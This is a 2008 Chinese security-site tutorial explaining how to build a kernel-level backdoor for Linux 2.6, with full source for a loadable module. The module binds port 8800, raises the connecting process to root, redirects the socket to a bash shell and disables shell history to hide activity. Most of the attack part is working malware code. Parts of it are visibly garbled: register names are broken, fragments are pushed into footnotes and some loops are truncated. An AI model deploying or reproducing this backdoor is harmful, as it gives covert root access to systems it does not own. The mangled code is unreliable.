首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 专题文章

抒写Linux 2.6.x下内核级后门程序


http://www.gipsky.com/
Author: wzt

EMail: wzt@xsec.org

Site: http://www.xsec.org & hhtp://hi.baidu.com/wzt85

Date: 2008-8-29



一. 内核后门简介

二. 内核中系统调用

三. 使用kernel mode socket函数

四. 如何扩展后门

五. 参考资料

六. 相关源代码



一. 内核后门简介



所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽,性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能,有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的'root-kit'.

本文只介绍2种实现内核后门的基本方法,假如您有更好的方法,还请多多指教。



二. 内核中系统调用



Unix世界中一切皆文件的思想将socket通信变的简单的多,通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数,如:



int my_read(int fd, char * buf, off_t count)

{

long __res;



__asm__ volatile ("push %?x; int $0x80; pop %?x"



: "=a" (__res)

: "0" (__NR_read), "ri" [1] :"memory");



return (int)(__res);

}



这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能, 就必须调用某些函数来进行socket通信。本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。



通过上面的例子,我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中,这样在内核空间执行系统调用感觉效率会很低,但是对我们来说,编写程序将会非常的方便。闻名的sk rookti就是用这种方式来进行通讯的。



linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏:



#define my__syscall_return(type, res) \

do { \

if [2]) { \

errno = -(res); \

res = -1; \

} \

return (type) (res); \

} while (0)



#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \

type name(type1 arg1,type2 arg2,type3 arg3) \

{ \

long __res; \

__asm__ volatile ("push %?x ; int $0x80 ; pop %?x" \

: "=a" (__res) \

: "0" (__NR_##name),"ri" [3],"c" [4], \

"d" [5] : "memory"); \

my__syscall_return(type,__res); \

}



my_syscall3代表这个系统调用有3个参数,以read系统调用为例,我们可以在内核空间中这样使用它:

static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);



编译的时候就会被展开成:



int read(int fd, char * buf, off_t count) \

{ \

long __res; \



__asm__ volatile ("push %?x; int $0x80; pop %?x"\



: "=a" (__res) \

: "0" (__NR_read), "ri" [6] :"memory"); \



return (int)(__res);\

}



本文后面将会给出比较全面的宏,通过这些宏,可以在内核中随意的使用系统调用。



好了,现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的:



linux-2.6.18/net/socket.c



asmlinkage long sys_socketcall(int call, unsigned long __user *args)

{

unsigned long a[6];

unsigned long a0,a1;

int err;



...



a0=a[0];

a1=a[1];



switch(call)

{

case SYS_SOCKET:

err = sys_socket(a0,a1,a[2]);

break;

case SYS_BIND:

err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);

break;

case SYS_CONNECT:

err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);

break;

case SYS_LISTEN:

err = sys_listen(a0,a1);

break;

case SYS_SOCKETPAIR:

err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);

break;

case SYS_SEND:

err = sys_send(a0, (void __user *)a1, a[2], a[3]);

break;

...

}



通过向sys_socketcall函数2个参数来执行具体的函数调用,参数call一般为SYS_SOCKET, SYS_BIND等,args是一个数组,通过向这个数组的每个元素赋值,来调用不同的函数。以bind这个函数为例,可以这样调用:



struct sockaddr_in cli_addr;

unsigned long args[];



args[0] = sock_fd;

args[1] = (unsigned long)cli_addr;

args[2] = (unsigned long)sizeof(struct sockaddr_in);



sys_socketcall(SYS_BIND, args);



其他函数类似。这样就可以在内核中来使用这些socket函数了。



下面给出一个具体的监听某一个端口的例子:

int k_listen(int port)

{

struct task_struct *tsk = current;

struct sockaddr_in serv_addr;

struct sockaddr_in cli_addr;

mm_segment_t old_fs;

char buff[100];



unsigned long arg[3];

int sock_fd, sock_id;

int tmp_kid;

int i, n, cli_len;



old_fs = get_fs();



tsk->uid = 0;

tsk->euid = 0;

tsk->gid = SGID;

tsk->egid = 0;



/* create socket */

arg[0] = AF_INET;

arg[1] = SOCK_STREAM;

arg[2] = 0;



set_fs(KERNEL_DS);



ssetmask(~0);



for (i=0; i http://www.kernel.org



[2] sk1.3-b source code ? sd

http://sd.g-art.nl/sk



[3] enyelkm 1.2 - RaiSe && David Reguera

http://www.enye-sec.org



[4] wnps-2.26 ? wzt

http://hi.baidu.com/wzt85



六. 相关源代码



Syscalls.h



/* macros de syscalls */



int errno;



#define my__syscall_return(type, res) \

do { \

if [7]) { \

errno = -(res); \

res = -1; \

} \

return (type) (res); \

} while (0)



/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */

#define my_syscall0(type,name) \

type name(void) \

{ \

long __res; \

__asm__ volatile ("int $0x80" \

: "=a" (__res) \

: "0" (__NR_##name)); \

my__syscall_return(type,__res); \

}



#define my_syscall1(type,name,type1,arg1) \

type name(type1 arg1) \

{ \

long __res; \

__asm__ volatile ("push %?x ; movl %2,%?x ; int $0x80 ; pop %?x" \

: "=a" (__res) \

: "0" (__NR_##name),"ri" [8] : "memory"); \

my__syscall_return(type,__res); \

}



#define my_syscall2(type,name,type1,arg1,type2,arg2) \

type name(type1 arg1,type2 arg2) \

{ \

long __res; \

__asm__ volatile ("push %?x ; movl %2,%?x ; int $0x80 ; pop %?x" \

: "=a" (__res) \

: "0" (__NR_##name),"ri" [9],"c" [10] \

: "memory"); \

my__syscall_return(type,__res); \

}



#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \

type name(type1 arg1,type2 arg2,type3 arg3) \

{ \

long __res; \

__asm__ volatile ("push %?x ; movl %2,%?x ; int $0x80 ; pop %?x" \

: "=a" (__res) \

: "0" (__NR_##name),"ri" [11],"c" [12], \

"d" [13] : "memory"); \

my__syscall_return(type,__res); \

}



#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \

type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \

{ \

long __res; \

__asm__ volatile ("push %?x ; movl %2,%?x ; int $0x80 ; pop %?x" \

: "=a" (__res) \

: "0" (__NR_##name),"ri" [14],"c" [15], \

"d" [16],"S" [17] : "memory"); \

my__syscall_return(type,__res); \

}



#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \

type5,arg5) \

type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \

{ \

long __res; \

__asm__ volatile ("push %?x ; movl %2,%?x ; movl %1,%?x ; " \

"int $0x80 ; pop %?x" \

: "=a" (__res) \

: "i" (__NR_##name),"ri" [18],"c" [19], \

"d" [20],"S" [21],"D" [22] \

: "memory"); \

my__syscall_return(type,__res); \

}



Kshell.c



/*

* kenel mode socket door v0.1

*

* by wzt http://www.xsec.org

*/



#include http://www.xsec.org

*/



#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/socket.h>

#include <linux/net.h>

#include <linux/in.h>

#include <linux/fs.h>

#include <linux/file.h>

#include <linux/types.h>

#include <linux/errno.h>

#include <linux/string.h>

#include <linux/unistd.h>

#include <net/sock.h>

#include <asm/uaccess.h>

#include <asm/unistd.h>



#include "syscalls.h"



#define port 8800

#define LEN 256



MODULE_LICENSE("GPL");

MODULE_AUTHOR("wzt");



#define SGID 0x489196ab

#define HOME "/"



static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };



char *env[]={

"TERM=linux",

"HOME=" HOME,

"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"

":/usr/local/sbin",

"HISTFILE=/dev/null",

NULL };



static inline my_syscall2(int, dup2, int, oldfd, int, newfd);

static inline my_syscall3(int, execve, const char *, filename,

const char **, argv, const char **, envp);



int kshell(int sock_fd)

{

struct task_struct *tsk = current;

mm_segment_t old_fs;



old_fs = get_fs();

set_fs(KERNEL_DS);



tsk->uid = 0;

tsk->euid = 0;

tsk->gid = SGID;

tsk->egid = 0;



dup2(sock_fd, 0);

dup2(sock_fd, 1);

dup2(sock_fd, 2);



execve(earg[0], (const char **) earg, (const char **) env);



set_fs(old_fs);



return 1;

}



int k_listen(void)

{

struct socket *sock,*newsock;

struct sockaddr_in server;

struct sockaddr client[128];

char address[128];

int sockfd, sockid, i,size = 0;

int error = 0,len = sizeof(struct sockaddr);



//set_fs(KERNEL_DS);



error = sock_create(AF_INET,SOCK_STREAM,0,&sock);

if (error < 0) {

printk("[-] socket_create failed: %d\n",error);

sock_release(sock);

return -1;

}



sockfd = sock_map_fd(sock);

if (sockfd < 0) {

printk("[-] sock_map_fd() failed.\n");

sock_release(sock);

return -1;

}



for (i = 0; i < 8; i )

server.sin_zero[i] = 0;



server.sin_family = PF_INET;

server.sin_addr.s_addr = INADDR_ANY;

server.sin_port = htons(port);



error = security_socket_bind(sock,(struct sockaddr *)&server,len);

if (!error) {

error = sock->ops->bind(sock,(struct sockaddr *)&server,len);



if (error < 0) {

printk("[-] unix_bind() failed.\n");

sock_release(sock);

return -1;

}



}



error = sock->ops->listen(sock,5);

if (error < 0) {

printk("[-] unix_listen failed.\n");

sock_release(sock);

return -1;

}

printk("[ ] listen port %d ok.\n",port);



if (!(newsock = sock_alloc())) {

printk("[-] sock_alloc() failed.\n");

sock_release(sock);

return -1;

}



newsock->type = sock->type;

newsock->ops = sock->ops;



printk("[ ] waiting for a client.\n");



if (newsock->ops->accept) {

error = security_socket_accept(sock,newsock);

if (error < 0)

goto out_release;



if [23] == -ERESTARTSYS) {

printk("[-] accept got a signal.\n");

goto out_release;

}

else if (error < 0) {

printk("[-] unix_accept failed.\n");

goto out_release;

}



if (newsock->ops->getname(newsock,client,&len,1) < 0)

goto out_release;



security_socket_post_accept(sock,newsock);



sockid = sock_map_fd(newsock);

if (sockid < 0) {

printk("[-] sock_map_fd() failed.\n");

sock_release(newsock);

return -1;

}



printk("[ ] accept a client.\n");



kshell(sockid);

}



return 1;



out_release:

sock_release(sock);

sock_release(newsock);



return 0;

}



int k_socket_init(void)

{

printk("[ ] kernel socket test start.\n");



k_listen();

}



void k_socket_exit(void)

{

printk("[ ] kernel socket test over.\n");

}



module_init(k_socket_init);

module_exit(k_socket_exit);
附注
  1. long)(fd), "c"((long)(buf),

    "d" ((long)(count
  2. unsigned long)(res) >= (unsigned long)(-(128 1
  3. long)(arg1
  4. long)(arg2
  5. long)(arg3
  6. long)(fd), "c"((long)(buf), \

    "d" ((long)(count
  7. unsigned long)(res) >= (unsigned long)(-(128 1
  8. long)(arg1
  9. long)(arg1
  10. long)(arg2
  11. long)(arg1
  12. long)(arg2
  13. long)(arg3
  14. long)(arg1
  15. long)(arg2
  16. long)(arg3
  17. long)(arg4
  18. long)(arg1
  19. long)(arg2
  20. long)(arg3
  21. long)(arg4
  22. long)(arg5
  23. error = newsock->ops->accept(sock,newsock,sock->file->f_flags
<< 迅雷看看被挂马了吗? PHPCMS2007爆路径及后台工具 >>
评分
10987654321
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号